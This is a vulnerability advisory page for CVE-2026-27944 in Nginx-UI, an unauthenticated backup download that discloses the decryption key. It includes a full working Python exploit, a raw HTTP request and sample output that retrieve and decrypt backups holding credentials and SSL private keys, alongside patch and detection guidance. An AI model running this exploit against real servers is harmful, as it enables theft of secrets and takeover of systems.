# CVE-2026-27944: Nginx-UI β€” Fixed in 2.3.3 🐹 🐹 Go Not in CISA KEV CRITICAL severity # CVE-2026-27944 β€” Nginx-UI CRITICAL CVE-2026-27944 is a critical-severity (CVSS 9.8) Missing Authentication vulnerability in github.com/0xJacky/Nginx-UI. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for github.com/0xJacky/Nginx-UI β€” see the affected versions and patch details below. Nginx UI: Unauthenticated Backup Download with Encryption Key Disclosure Also known as[GHSA-g9w5-qffc-6762](/vulnerability/GHSA-g9w5-qffc-6762)GO-2026-4614 Published Mar 5, 2026 Updated Oct 28, 2026 Affected 1 pkg Patched 1 / 1 Exploits 2 known Exploitation data as of Nov 10, 2026 Β· OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. - CISA assesses this as automatable β€” exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks. - A successful exploit gives an attacker total control of the affected component, not partial access. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27944. ## EPSS Exploitation Probability [via FIRST.org β†—](https://www.first.org/epss/) 22.8%probability of exploitation in next 30 days Moderate Risk0.00% Lower risk than most CVEs98th percentile β€” riskier than 98% of all scored CVEsHighest risk 0.00%9.80%19.6%29.4%6.8%22.8%May 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 1 pkg affected 🐹`github.com/0xJacky/Nginx-UI` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages β€” download data is not available via public APIs for these ecosystems. ## Description ### Summary The `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. ### Vulnerability Details Field Value CWE CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data Affected File `api/backup/router.go` Affected Function `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) Secondary File `internal/backup/backup.go` CVSS 3.1 9.8 (Critical) CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ### Root Cause The vulnerability exists due to two critical security flaws: #### 1\. Missing Authentication on /api/backup Endpoint In `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware: ``` func InitRouter(r *gin.RouterGroup) { r.GET("/backup", CreateBackup) // No authentication required r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware } ``` For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open. #### 2\. Encryption Keys Disclosed in HTTP Response Headers In `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header: ``` func CreateBackup(c *gin.Context) { result, err := backup.Backup() if err != nil { cosy.ErrHandler(c, err) return } // Concatenate Key and IV securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header // ... c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone // Send file content http.ServeContent(c.Writer, c.Request, fileName, modTime, reader) } ``` The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`. #### 3\. Backup Contents The backup archive (created in `internal/backup/backup.go`) contains: ``` // Files included in backup: - nginx-ui.zip (encrypted) └── database.db // User credentials, session tokens └── app.ini // Configuration with secrets └── server.key/cert // SSL certificates - nginx.zip (encrypted) └── nginx.conf // Nginx configuration └── sites-enabled/* // Virtual host configs └── ssl/* // SSL private keys - hash_info.txt (encrypted) └── SHA-256 hashes for integrity verification ``` All files are encrypted with AES-256-CBC, but the keys are disclosed in the response. ### Proof of Concept #### Python script ``` #!/usr/bin/env python3 """ POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security Usage: python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt """ import argparse import base64 import os import sys import urllib.parse import urllib.request import zipfile from io import BytesIO try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad except ImportError: print("Error: pycryptodome required for decryption") print("Install with: pip install pycryptodome") sys.exit(1) def _parse_keys(hdr_val: str): """ Parse X-Backup-Security header format: "base64_key:base64_iv" Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== """ v = (hdr_val or "").strip() # Format is: key:iv (both base64 encoded) if ":" in v: parts = v.split(":", 1) if len(parts) == 2: return parts[0].strip(), parts[1].strip() return None, None def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes: """Decrypt using AES-256-CBC with PKCS#7 padding""" key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64) if len(key) != 32: raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)") if len(iv) != 16: raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)") cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted_data) return unpad(decrypted, AES.block_size) def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str): """Extract and decrypt the backup archive""" print(f"\n[*] Extracting encrypted backup to {output_dir}") os.makedirs(output_dir, exist_ok=True) # Extract the main ZIP (contains encrypted files) with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip: print(f"[*] Main archive contains: {main_zip.namelist()}") main_zip.extractall(output_dir) # Decrypt each file encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"] for filename in encrypted_files: filepath = os.path.join(output_dir, filename) if not os.path.exists(filepath): print(f"[!] Warning: {filename} not found") continue print(f"[*] Decrypting {filename}...") with open(filepath, "rb") as f: encrypted = f.read() try: decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64) # Write decrypted file decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted" with open(decrypted_path, "wb") as f: f.write(decrypted) print(f" β†’ Saved to {decrypted_path} ({len(decrypted)} bytes)") # If it's a ZIP, extract it if filename.endswith(".zip"): extract_dir = os.path.join(output_dir, filename.replace(".zip", "")) os.makedirs(extract_dir, exist_ok=True) with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip: inner_zip.extractall(extract_dir) print(f" β†’ Extracted {len(inner_zip.namelist())} files to {extract_dir}") except Exception as e: print(f" βœ— Failed to decrypt {filename}: {e}") # Show hash info hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted") if os.path.exists(hash_info_path): print(f"\n[*] Hash info:") with open(hash_info_path, "r") as f: print(f.read()) def main(): ap = argparse.ArgumentParser( description="Nginx UI - Unauthenticated backup download with key disclosure" ) ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port") ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup") ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download") ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files") args = ap.parse_args() url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup") # Unauthenticated request to the backup endpoint req = urllib.request.Request(url, method="GET") try: with urllib.request.urlopen(req, timeout=20) as resp: hdr = resp.headers.get("X-Backup-Security", "") key, iv = _parse_keys(hdr) data = resp.read() except urllib.error.HTTPError as e: print(f"[!] HTTP Error {e.code}: {e.reason}") sys.exit(1) except Exception as e: print(f"[!] Error: {e}") sys.exit(1) with open(args.out, "wb") as f: f.write(data) # Key/IV disclosure in response header enables decryption of the downloaded backup print(f"\nX-Backup-Security: {hdr}") print(f"Parsed AES-256 key: {key}") print(f"Parsed AES IV : {iv}") if key and iv: # Verify key/IV lengths try: key_bytes = base64.b64decode(key) iv_bytes = base64.b64decode(iv) print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 βœ“)") print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size βœ“)") except Exception as e: print(f"[!] Error decoding keys: {e}") sys.exit(1) if args.decrypt: try: extract_backup(args.out, key, iv, args.extract_dir) except Exception as e: print(f"\n[!] Decryption failed: {e}") import traceback traceback.print_exc() sys.exit(1) else: print("\n[!] Failed to parse encryption keys from X-Backup-Security header") print(f" Header value: {hdr}") if __name__ == "__main__": main() ``` ``` # Download and decrypt backup (no authentication required) # pip install pycryptodome python poc.py --target http://victim:9000 --decrypt ``` ``` X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw== Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA= Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw== [*] Key length: 32 bytes (AES-256 Γ’Ε“β€œ) [*] IV length : 16 bytes (AES block size Γ’Ε“β€œ) [*] Extracting encrypted backup to backup_extracted [*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip'] [*] Decrypting hash_info.txt... Ò†’ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes) [*] Decrypting nginx-ui.zip... Ò†’ Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes) Ò†’ Extracted 2 files to backup_extracted/nginx-ui [*] Decrypting nginx.zip... Ò†’ Saved to backup_extracted/nginx_decrypted.zip (5682 bytes) Ò†’ Extracted 17 files to backup_extracted/nginx [*] Hash info: nginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5 nginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905 timestamp: 20260129-122110 version: 2.3.2 ``` #### HTTP Request (Raw) ``` GET /api/backup HTTP/1.1 Host: victim:9000 ``` **No authentication required** - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in `X-Backup-Security` header #### Example Response ``` HTTP/1.1 200 OK Content-Type: application/zip Content-Disposition: attachment; filename=backup-20260129-120000.zip X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg== [Binary ZIP data] ``` The `X-Backup-Security` header contains: - **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key) - **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV) screenshot ### Resources - [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html) - [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication) - [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure) - [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final) ## Affected Packages 1 total 1 fixed Ecosystem Package Vulnerable range Fix 🐹Go `github.com/0xJacky/Nginx-UI` all versions 2.3.3`go get github.com/0xJacky/Nginx-UI@v2.3.3` ## Affected Products 1 product Β· 1 configurations Application `nginx ui`nginxui < 2.3.3 range Exploits & PoCs 2 Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization. [ Skynoxk/CVE-2026-27944 Automated exploit script for CVE-2026-27944 (Nginx UI). Downloads/decryp ⭐ 9🍴 1Jul 2026 ](https://github.com/Skynoxk/CVE-2026-27944)[ NULL200OK/CVE-2026-27944 CVE-2026-27944 - Nginx UI Unauthenticated Backup Download & Decryption ⭐ 4🍴 0Apr 2026 ](https://github.com/NULL200OK/CVE-2026-27944) ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/0xJacky/Nginx-UI, including transitive dependencies β€” a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update github.com/0xJacky/Nginx-UI to 2.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range β€” O3 confirms CVE-2026-27944 is resolved across your whole dependency graph. 3. ### Workarounds Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used. ## How to detect CVE-2026-27944 A community-maintained Nuclei template exists for this CVE. You can scan for it directly: `nuclei -id cve-2026-27944 -u https://target` Template Nginx UI < 2.3.3 - Information Disclosure Severity critical Impact Unauthenticated attackers can access and decrypt full system backups, exposing sensitive data including credentials and private keys. Remediation Upgrade to version 2.3.3 or later. Template by [ProjectDiscovery nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) (omarkurt), MIT licensed. [View the full template](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-27944.yaml). Scan only systems you are authorised to test. ## Frequently Asked Questions \## Summary The \`/api/backup\` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the \`X-Backup-Security\` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. ## Vulnerability Details | Field | Value | |-------|-------| | CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data | | Affected File | \`api/backup/router.g O3 Security Β· Impact-Aware SCA ### Is CVE-2026-27944 in your dependencies? Find it across Go, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)